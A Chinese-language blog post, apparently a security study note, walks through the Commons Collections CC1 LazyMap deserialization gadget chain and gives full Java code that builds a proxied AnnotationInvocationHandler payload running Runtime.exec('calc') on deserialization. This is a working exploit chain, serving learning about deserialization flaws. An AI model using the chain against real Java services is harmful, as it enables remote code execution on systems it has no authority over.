CC1-LazyMap链

CC1-LazyMap链

org.apache.commons.collections.map.LazyMap

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

主要是通过动态代理的思想,来实现链式调用。

sun.reflect.annotation.AnnotationInvocationHandler类实现了 InvocationHandler, Serializable接口,我们可以把它作为一个动态代理类,当被代理的对象调用方法时,则会调用Invoke方法。

readObject()方法中,entrySet()则会触发代理

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}

@Test
public void test3() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object h = declaredConstructor.newInstance(Target.class,lazymap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
(Class<?>[]) new Class[]{Map.class}, (InvocationHandler) h);

h = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serializable(h);
unserializable("ser.bin");
}

链子

1
2
3
4
5
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.invoke()
lazymap.get()
ChainedTransformer.transform()
和CC1的TransformedMap后一致

CC1-LazyMap链
https://rpniu.github.io/2025/03/25/CC1-LazyMap链/
作者
rPniu
发布于
2025年3月25日
许可协议